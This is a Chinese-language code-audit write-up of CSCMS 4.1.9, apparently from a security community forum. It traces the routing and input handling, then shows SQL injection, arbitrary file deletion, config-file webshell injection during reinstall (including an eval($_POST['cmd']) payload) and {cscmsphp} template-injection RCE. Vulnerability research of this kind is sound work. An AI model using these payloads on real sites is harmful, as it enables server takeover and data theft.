很久之前審的了。
文章首發於奇安信攻防社群
https://forum.butian.net/share/1626
CSCMS是一款強大的多功能內容管理系統,採用php5+mysql進行開發,運用OOP(物件導向)方式進行框架搭建。CSCMS用CodeIgniter框架作為核心開發,基於MVC模式,使程式執行的速度和伺服器得到很好的優化,使web平臺擁有良好的相容性和穩定性。
本文所用到的cscms版本是4.1.9, CI 框架版本為 3.1.3
安裝就不說了,phpstudy 存取install.php 點點點就好了。
目錄結構:
組態檔在/upload/cscms/config目錄下
為了弄清cscms的流程,來跟蹤一下index.php的執行流程。
index.php是cscms的前臺入口檔案
<?php
/**
* @Cscms 4.x open source management system
* @copyright 2008-2015 chshcms.com. All rights reserved.
* @Author:Cheng Kai Jie
* @Dtime:2017-03-10
*/
//預設時區
date_default_timezone_set("Asia/Shanghai");
//應用環境,TRUE 開啟報錯,FALSE關閉報錯
define('ENVIRONMENT',false);
//路徑分隔符
define('FGF', DIRECTORY_SEPARATOR);//DIRECTORY_SEPARATOR => / or \
//核心路徑設定
$cs_folder = 'cscms/config';
//環境報錯設定
if(ENVIRONMENT == TRUE){
error_reporting(-1);
ini_set('display_errors', 1);
}else{
ini_set('display_errors', 0);
if (version_compare(PHP_VERSION, '5.3', '>=')){
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
}else{
error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
}
}
//路徑常數設定
if(!defined('SELF')){
define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
}
if(!defined('FCPATH')){
define('FCPATH', dirname(__FILE__).FGF); //dirname(__FILE__)取得當前檔案所在的絕對目錄
}
//CSCMS路徑檢測
if(is_dir($cs_folder)){
if (($_temp = realpath($cs_folder)) !== FALSE){
$cs_folder = $_temp.FGF;
}else{
$cs_folder = strtr(rtrim($cs_folder, '/\\'),'/\\',FGF.FGF).FGF;
}
}else{
header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
echo 'The kernel configuration directory is incorrect.';exit;
}
define('CSCMS', $cs_folder);
define('CSPATH', FCPATH.'cscms'.FGF);
define('CSCMSPATH', FCPATH.'packs'.FGF);
//當前執行URI
define('REQUEST_URI', str_replace(array(SELF,'//'),array('','/'),$_SERVER['REQUEST_URI']));
require_once CSCMS.'sys/Cs_Cscms.php';
定義了一些環境變數和路徑常數,在一旁記錄一下,方便之後查詢:
FCPATH : 當前檔案所在的絕對路徑,這裡是 C:\Users\yokan\Desktop\cmcms\upload\index.php
CSCMS : cscms/config
CSPATH : C:\Users\yokan\Desktop\cmcms\upload\cscms\
CSCMSPATH : C:\Users\yokan\Desktop\cmcms\upload\packs\
#$cs_folder = 'cscms/config';
#define('CSCMS', $cs_folder);
#define('CSPATH', FCPATH.'cscms'.FGF);
#define('CSCMSPATH', FCPATH.'packs'.FGF);
最後引入了Cs_Cscms.php檔案,又定義了一些常數,以及存取主頁的渲染:
$sys_folder = 'cscms/system';
$app_folder = 'cscms/app';
$tpl_folder = 'tpl';
define('BASEPATH', $sys_folder);
define('SYSDIR', basename(BASEPATH));
define('APPPATH', $app_folder.FGF);
define('VIEWPATH', $tpl_folder.FGF);
//獲取當前目錄路徑引數
function cscms_cur_url() {
if(!empty($_SERVER["REQUEST_URI"])){
$scrtName = $_SERVER["REQUEST_URI"];
$nowurl = $scrtName;
} else {
$scrtName = $_SERVER["PHP_SELF"];
if(empty($_SERVER["QUERY_STRING"])) {
$nowurl = $scrtName;
} else {
$nowurl = $scrtName."?".$_SERVER["QUERY_STRING"];
}
}
$nowurl=str_replace("//", "/", $nowurl);
return $nowurl;
}
//獲取當前URI引數
function cscms_uri($n=0){
$REQUEST_URI = substr(REQUEST_URI,0,1)=='/' ? substr(REQUEST_URI,1) : REQUEST_URI;
if(!empty($REQUEST_URI)){
$arr = explode('/', $REQUEST_URI);
if(Web_Path != '/'){
unset($arr[0]);
$arr = array_merge($arr);
}
if(!empty($arr[$n])){
return str_replace("/", "", $arr[$n]);
}
}
return '';
}
然後引入CI框架,載入框架的類、常數、函數、安全設定等:
require_once BASEPATH.'core/CodeIgniter.php';
接下來把重點關注在路由上,CodeIgniter.php引入了路由類,Router.php
在全域性分析的時候,一定要把路由搞清楚,不然後面很難將程式碼與功能點快速定位
程式碼很多,不用細看,搞懂它的路由規則就可以。
當然,CI官方檔案也有現成的:URI 路由 — CodeIgniter 3.1.5 中文手冊|使用者手冊|使用者指南|中文檔案
URL 中的每一段通常遵循下面的規則:
example.com/class/function/id/
例如這個url
http://192.168.111.141/index.php/dance/playsong
我們很容易定位到dance類下的playsong方法:
後臺的跳轉是通過設定標誌位 「IS_ADMIN=TRUE」來實現的:
admin.php:
<?php
/**
* @Cscms 4.x open source management system
* @copyright 2008-2015 chshcms.com. All rights reserved.
* @Author:Cheng Jie
* @Dtime:2014-08-01
*/
define('IS_ADMIN', TRUE); // 後臺標識
define('ADMINSELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // 後臺檔名
define('SELF', ADMINSELF);
define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // 網站根目錄
require('index.php'); // 引入主檔案
index.php:
require_once CSCMS.'sys/Cs_Cscms.php';
Cs_Cscms.php
熟悉完程式碼的大概結構之後,個人還是更喜歡通過敏感函數回溯的方法進行審計
使用 靜態審計和動態偵錯結合進行審計。
靜態原始碼審計系統:rips、seay、Fotify等
動態偵錯:phpstorm+xdebug
upload/plugins/dance/playsong.php檔案下的$zd變數,直接與sql語句拼接進行了查詢操作
回溯一下它是怎麼得到的:
找到get_post函數定義的位置:
在seay中直接右鍵,定位函數即可:
在phpstorm中,可以通過按兩次shift鍵,進行搜尋:
進行CS_input.php,來看一下get_post函數:
執行流程 get_post方法→get方法→fetch_from_array方法
重點來了,下面是_fetch_from_array方法的全部程式碼:
protected function _fetch_from_array(&$array, $index = NULL, $xss_clean = NULL, $sql_clean = FALSE)
{
is_bool($xss_clean) OR $xss_clean = $this->_enable_xss;
// If $index is NULL, it means that the whole $array is requested
isset($index) OR $index = array_keys($array);
// allow fetching multiple keys at once
if (is_array($index))
{
$output = array();
foreach ($index as $key)
{
$output[$key] = $this->_fetch_from_array($array, $key, $xss_clean);
}
return $output;
}
if (isset($array[$index]))
{
$value = $array[$index]; //$_GET[zd]
}
elseif (($count = preg_match_all('/(?:^[^\[]+)|\[[^]]*\]/', $index, $matches)) > 1) // Does the index contain array notation
{
$value = $array;
for ($i = 0; $i < $count; $i++)
{
$key = trim($matches[0][$i], '[]');
if ($key === '') // Empty notation will return the value as array
{
break;
}
if (isset($value[$key]))
{
$value = $value[$key];
}
else
{
return NULL;
}
}
}
else
{
return NULL;
}
if($xss_clean === TRUE){
//CI自帶過濾XSS
$value = $this->security->xss_clean($value);
if($sql_clean === TRUE){
//過濾SQL語句
$value = safe_replace($value);
}else{
//HTML程式碼跳脫
$value = str_encode($value);
}
}
return $value;
}
}
因為前面傳入的引數為:
$zd = $this->input->get_post('zd',TRUE,TRUE);
並且呼叫的是get方法,
所以:
$value=$_GET['zd'] #$value的值即為zd引數通過get方法傳入的內容
不過因為
$sql_clean === TRUE
所以會呼叫safe_replace函數進行過濾,我們看看過濾了些什麼:
還是phpstorm按兩次shift找到它的實現位置:
可以看到,過濾和編碼了一些特殊字元。
$row=$this->db->query("select id,cid,singerid,name,tid,fid,purl,sc,lrc,dhits".$zd." from ".CS_SqlPrefix."dance where id=".$id."")->row();
但是我們不需要引號去閉合,仍然可以構造sql語句去執行:
後臺刪除附件處沒做任何判斷和過濾:
很多CMS都會存在這種漏洞,不過大多時候利用起來畢竟雞肋,需要重新安裝。
install.php
<?php
/**
* @Cscms 4.x open source management system
* @copyright 2008-2018 chshcms.com. All rights reserved.
* @Author:Cheng Kai Jie
* @Dtime:2017-03-17
*/
define('IS_INSTALL', TRUE); // 安裝標識
define('ADMINSELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // 檔名
define('SELF', ADMINSELF);
define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // 網站根目錄
$uri = parse_url('http://cscms'.$_SERVER['REQUEST_URI']);
$path = current(explode(SELF, $uri['path']));
define("install_path",$path);
define("install_url",install_path.'install.php/');
require('index.php'); // 引入主檔案
→index.php→Cs_Cscms.php
通過偵錯可以發現,後面的執行流程: install.php->common.php
一步步偵錯發現最後載入/upload/plugins/sys/Install.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Install extends Cscms_Controller {
function __construct(){
parent::__construct();
$this->load->helper('url');
$this->load->helper('file');
...........................................
............................................
.......................................
$this->load->helper('string');
$CS_Encryption_Key='cscms_'.random_string('alnum',10);
//修改資料庫組態檔
$config=read_file(CSCMS.'sys'.FGF.'Cs_DB.php');
$config=preg_replace("/'CS_Sqlserver','(.*?)'/","'CS_Sqlserver','".$dbhost."'",$config);
$config=preg_replace("/'CS_Sqlname','(.*?)'/","'CS_Sqlname','".$dbname."'",$config);
$config=preg_replace("/'CS_Sqluid','(.*?)'/","'CS_Sqluid','".$dbuser."'",$config);
$config=preg_replace("/'CS_Sqlpwd','(.*?)'/","'CS_Sqlpwd','".$dbpwd."'",$config);
$config=preg_replace("/'CS_Dbdriver','(.*?)'/","'CS_Dbdriver','".$dbdriver."'",$config);
$config=preg_replace("/'CS_SqlPrefix','(.*?)'/","'CS_SqlPrefix','".$dbprefix."'",$config);
$config=preg_replace("/'CS_Encryption_Key','(.*?)'/","'CS_Encryption_Key','".$CS_Encryption_Key."'",$config);
if(!write_file(CSCMS.'sys'.FGF.'Cs_DB.php', $config)) exit('5');
.............................................
............................................
.........................................
匹配我們輸入的一些資料庫常數的值,沒有過濾,然後寫入Cs_DB.php檔案:
比如資料庫名稱,我們可以直接通過拼接插馬:
cscms');phpinfo();//
cscms');eval($_POST[‘cmd’]); //
檢視效果:
因為cs_cscms.php中包含了cs_db.php
index.php又包含了Cs_Cscms.php
所以我們在首頁即可觸發:
配合上面的任意檔案刪除漏洞,刪除掉install.lock檔案,然後重新安裝,即可完成RCE
通過seay的自動審計,定位到Csskins.php的eval函數:
// php標籤處理
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
$str=str_replace($php,$newsphp,$str);
return $str;
}
看一下$content引數是否可以控制。
首先看誰呼叫了這個方法:
seay可以用全文追蹤或者全域性搜尋:
phpstorm可以"Alt+F7"查詢使用:
定位到template_parse方法:
//解析模板
public function template_parse($str,$ts=TRUE,$if=true,$row=array()) {
if(empty($str)) msg_txt(L('skins_null'));
//解析頭部、底部、左右分欄
$str = $this->topandend($str);
//會員登入框
$str=str_replace('{cscms:logkuang}',$this->logkuang(),$str);
//自定義標籤
$str=$this->cscmsopt($str);
//解析全域性標籤
$str=$this->cscms_common($str);
//資料迴圈
$str=$this->csskins($str);
//資料統計標籤
$str=$this->cscount($str);
//自定義欄位
$field = isset($row['cscms_field']) ? $row['cscms_field'] : $row;
$str=$this->field($str,$field);
//PHP程式碼解析
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
for($i=0;$i<count($php_arr[0]);$i++){
$str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
}
}
unset($php_arr);
............................................
............................................
.............................................
關注PHP程式碼解析這塊,通過preg_match_all函數匹配template_parse第一個引數$str的內容,然後呼叫cscmsphp,用eval進行執行。
也就是說「程式會將 {cscmsphp} 標籤中包裹的程式碼當做 PHP 程式碼來執行」
因此,接下來就是全域性搜尋 呼叫template_parse方法的地方,有沒有可以控制的點了:
seay直接全域性搜尋:
phpstorm:ctrl+shift+f
全域性搜尋之後,發現呼叫這個函數的地方有很多,但是我們要做的就是篩選出有漏洞的地方,但是什麼是有漏洞的地方呢,一切輸入都是有害的,所以,最好是能找到與資料庫操作有關的內容,這些應該是我們要找的重點。
$Mark_Text=$this->Csskins->template_parse($Mark_Text,true);
搜尋之後會發現,所有的模板大概都是這樣載入的,於是我們就把重點放在了變數Mark_Text上面
挨個去看
這裡找到Cstpl.php檔案的plub_show方法
對視訊內容的各種標籤進行了解析,然後無過濾的傳入了template_parse函數去執行
然後找到就去尋找誰呼叫了plub_show方法:
好多都可以控制輸入,但是有的經過分析發現進行了過濾。
這裡找到show.php檔案:
這個 檔案頁面是用來播放視訊的。
所以上傳視訊:
(先到後臺,給許可權)
對應的是plugins/vod/user/vod.php檔案: save函數
選填欄位,用的remove_xss進行過濾,但是該函數沒有過濾掉 cscmsphp 模板注入
因此,在上傳視訊的選填欄位,劇情簡介處插入SSTI
{cscmsphp}phpinfo();{/cscmsphp}
然後存取即可觸發:
類似的點還有幾個,感興趣的可以去找找。
也是SSTI模板注入,只不過觸發點不同,具體呼叫過程就不分析了,類似的點肯定還有很多。
建立個使用者,設定個人簽名 {cscmsphp}phpinfo(){/cscmsphp}
發現‘cscmsphp’已經被過濾掉了。
登入管理員後臺,會員列表頁面,可以修改會員資訊
http://127.0.0.1/upload/admin.php/user/edit?id=1
寫入payload如上
然後存取如下url,即可觸發
http://127.0.0.1/upload/index.php/justtest/home/info
修改模板 插馬
html會以php解析
這裡其實是黑盒測到的:
點點點瀏覽網站功能的時候,發現管理員後臺可以修改會員主頁模板:
而一些php檔案裡直接不加過濾的參照了這些html檔案,造成解析